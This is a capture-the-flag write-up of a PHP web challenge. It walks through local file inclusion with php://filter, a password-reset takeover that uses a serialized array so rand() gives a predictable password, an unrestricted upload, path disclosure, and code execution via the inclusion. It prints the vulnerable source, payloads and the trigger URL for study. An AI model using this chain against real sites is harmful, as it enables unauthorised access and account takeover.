/ CTF

PeeHagePee

PHP can be interesting. I recently came across an interesting web CTF challenge. It is unfortunate that I am not able to show the beautiful screen shots of the challenge. What I have are screen shots of the locally hosted version which does not have the CSS and images.

The path of exploitation is as such: LFI -> Account Takeover -> Unrestricted File Upload -> Full path disclosure through file download -> LFI RCE.

We can identify it as a PHP webpage by looking at the application cookies where it uses PHP sessions.

Screenshot-2020-11-04-at-12.42.36-PM

First, we are presented with a page with a trivial Local File Inclusion (LFI) vector. http://target/?page=login. When a URL comes with page=login, the source code might look something like include $_GET['url']."php";. We can achieve LFI by using PHP wrappers which can encode files into base64 and output it as text by doing php://filter/convert.base64-encode/resource=login. By doing so, we get the source of login.php.

Screenshot-2020-11-04-at-12.34.25-PM

We therefore can leak index as well by doing php://filter/convert.base64-encode/resource=index. The source code confirms that the page variable is the vector for LFI.

<?php

if(isset($_GET['page']) && !empty($_GET['page']))
{
	include($_GET['page'] . ".php");
}
else
{
	header("Location: ?page=home");
}

?>

With the PHP wrapper, we are able to download source codes of the application. A forget password page exists, and examining the source code shows interesting code blocks.

<?php
if(isset($_POST["ticket"]) && !empty($_POST["ticket"]))
{
		if($_SESSION["form_token"]===$_POST["token"]) {
			unset($_SESSION['form_token']);
			$_SESSION["form_token"] = md5(uniqid(rand(), true));
			$ticket = unserialize(base64_decode($_POST["ticket"]));
			$username = $ticket->name;
			$secret_number = $ticket->secret_number;
			$count = check_user_exists($conn, $username);
			if($count === 1)
			{	
				if(check_length($secret_number, 9)) {
					$secret_number = strtoupper($secret_number);
					$secret_number = check_string($secret_number);
					$secret = get_secret($conn,$username);
					if($secret_number !== $secret) {
						print("Wrong secret!");
					}
					else
					{
					print("OK, we will send you the new password");}
					$random_rand = rand(0,$secret_number);
					srand($random_rand);
					$new_password = "";
					while(strlen($new_password) < 30) {
						$new_password .= strval(rand());
					}
					reset_password($conn, $username, $new_password);
				}
				else
				{
					print("<center>IMPOSTOR ALERT!!!!</center>");
				}
			}
			else
			{
				print("<center>IMPOSTOR ALERT!!!!</center>");
			}
		}
		else
		{
			print("<center>IMPOSTOR ALERT!!!!</center>");
		}
}

?>

We can see that it reads a POST variable called ticket, which is base64 decoded and unserialized $ticket = unserialize(base64_decode($_POST["ticket"]));. Looking at lib.php, we can find the corresponding class that it uses to create the $ticket object.

class CrewMate {
	public $name;
	public $secret_number;
}

The attention is now brought to lib.php, since most of the functions used exists in this file. check_user_exists() checks if user supplied in the serialized data exists in the database, then if it passes, it goes into another code block which checks if the length of secret value given was 9.

function check_length($input, $length) {
	return strlen($input)==$length || count($input)==$length || sizeof($input)==$length;
}

It then converts the input to upper, and it sanitized it using check_string() where a byte of \x00 is replaced by a random character. This seems to be a mitigation to prevent NULL bytes. (Clue here I guess?)

We then see that it checks if the given secret is the same as the database secret. Else, it prints.

What is sneaky about the author is that they hid a curly brace bracket at the end of the print() line. Which is also why it took me some time to solve this challenge as I did not spot the crucial hidden curly brace.

if(check_length($secret_number, 9)) {
					$secret_number = strtoupper($secret_number);
					$secret_number = check_string($secret_number);
					$secret = get_secret($conn,$username);
					if($secret_number !== $secret) {
						print("Wrong secret!");
					}
					else
					{
					print("OK, we will send you the new password");}
					$random_rand = rand(0,$secret_number);
					srand($random_rand);
					$new_password = "";
					while(strlen($new_password) < 30) {
						$new_password .= strval(rand());
					}
					reset_password($conn, $username, $new_password);
				}

This means that, as long our secret is a length of 9, failing the check does not matter as it will still execute the statements after it. Therefore, based on the secret number supplied, the new password is determined by the value of the secret number, and the new password is generated under the influence of random values.

This calls for the analysis of how can one control the password reset. Since it is possible to send a serialized data, we can send raw bytes like \x01\x01\x01\x01\x01\x01\x01\x01\x01. Further inspection of the check_string() function suggests that the function replaced null bytes with a random variable, and it returns the first 5 bytes of the input, and converts it to to an integer to be returned.

function check_string($input) {
	if(is_string($input)) {
		$input = str_replace(chr(0), chr(rand(33,126)), $input);
		return hexdec(substr(bin2hex($input),0,10));
	}
	return $input;
}

Just sending \x01 * 9 would be perfect right?
No.... \x01 * 5 (Since it only takes first 5 bytes at the substr() function) in decimal is 16843009. Therefore, the range could be very very large and unpredictable.

However, since we are able to control the ticket sent in, there are more than one type of data we can send as the original class is not type strict, and it is not checked in any parts of the source code as well.

Testing the code snippet, we can observe that if the rand() function was given a NULL value, the random output would be predictable and the same at each run time.

$random_rand = rand(0,NULL);
..
..
..
// Run 1
// string(10) "1178568022"
// string(20) "11785680221273124119"
// string(30) "117856802212731241191535857466"
// string(30) "117856802212731241191535857466"

// Run 2
// string(10) "1178568022"
// string(20) "11785680221273124119"
// string(30) "117856802212731241191535857466"
// string(30) "117856802212731241191535857466"

So we need a way to bypass the character swap for \x00 in the check_string() function. To bypass the mitigation, we need to make sure it passes the test for the length of the secret number input.

We can instead, pass in an array of size 9 in the serialized object. array(0,0,0,0,0,0,0,0,0); Passing that value into rand(), the Array is treated as a NULL value, and it produces the same output as that of the previous experiment.

$random_rand = rand(0,array(0,0,0,0,0,0,0,0,0));
..
..
// Warning: rand() expects parameter 2 to be int, array given in REDACTED on line 47
// string(10) "1178568022"
// string(20) "11785680221273124119"
// string(30) "117856802212731241191535857466"
// string(30) "117856802212731241191535857466"

We can therefore affirm that the password generated will not be random, and it will always be 117856802212731241191535857466. We can now login as any users available listed in crews.php.

Now we are authenticated, we can then access the electrocal.php. We can see that it supports a file upload feature.

<!-- upload -->
<br><br>
<div class="w3-container">
  <div class="w3-black">
    <div id="myBar" class="w3-green" style="height:24px;width:0"></div>
  </div>
  <br>
</div>
<center>
<form id="myform" method="post" action="?page=electrical" enctype="multipart/form-data">
 	<input type="file" name='file'><br>
</form>
<br><input type="submit" name="upload_file" onclick="move()" value="Upload">
</center>
<?php
upload($_FILES["file"]);
?>


<!-- download -->
<br><br>
<div class="w3-container">
  <div class="w3-black">
    <div id="myBar2" class="w3-green" style="height:24px;width:0"></div>
  </div>
  <br>
</div>
<center>
<?php 
download();
?>
</center>
function upload($file) {
	if(isset($file))
	{
		if($file["size"] > 1485760) {
			die('<center>IMPOSTOR ALERT!!!</center>');
		}	
		$uploadfile=$file["tmp_name"];
		$folder="crew_upload/";
		$file_name=$file["name"];
		$new = $file["tmp_name"].$file_name;
		move_uploaded_file($file["tmp_name"], $new);
		$zip = new ZipArchive(); 
		$zip_name ="crew_upload/".md5(uniqid(rand(), true)).".zip";
		if($zip->open($zip_name, ZIPARCHIVE::CREATE)!==TRUE)
		{ 
		 	echo "Sorry ZIP creation failed at this time";
		}
		$zip->addFile($new);
		$zip->close();
		if(isset($_SESSION["link"]) && !empty($_SESSION["link"])) {
			unlink($_SESSION["link"]);
			unset($_SESSION["link"]);
		}
		$_SESSION["link"] = $zip_name;
		header("Refresh: 0");
	}
}
function download() {
if(isset($_SESSION["link"]) && !empty($_SESSION["link"])) {

	print('<a href="'.$_SESSION["link"].'" download>
  		<button id="test" hidden>a</button>
	</a>');
	print('<input type="submit" name="download_file" onclick="move2()" value="Download">');
	}
}

There seems to be no restriction on what file we can upload. Furthermore, upon trying the function, we are able to download the uploaded file, and it will be given to us as a ZIP file. Another feature that can be noted is that the transient file uploaded is not deleted. Therefore, we can achieve LFI RCE if we know the full path of the transient file.

Unzipping the downloaded file, we can see that the full path is disclosed. Therefore, uploading a PHP shell will do the trick.

Uploaded payload:

<?php

echo phpinfo();

?>

Screenshot-2020-11-04-at-9.41.00-PM

Full path revealed once unzipped. Take note that I am hosting the files locally and therefore what is shown is not the full path of the actual challenge. /redacted_initial_path/tmp/php/php0kziNuevil.php

We can trigger the exploit by visiting http://localhost:8888/?page=/redacted_initial_path/tmp/php/php0kziNuevil. Note that the .php was omitted because .php will be appended by the system.

Screenshot-2020-11-04-at-9.46.57-PM

Execution of PHP code achieved. :)

Thereafter it is just a little tweaking of codes to obtain remote code execution and solve!

PeeHagePee
Share this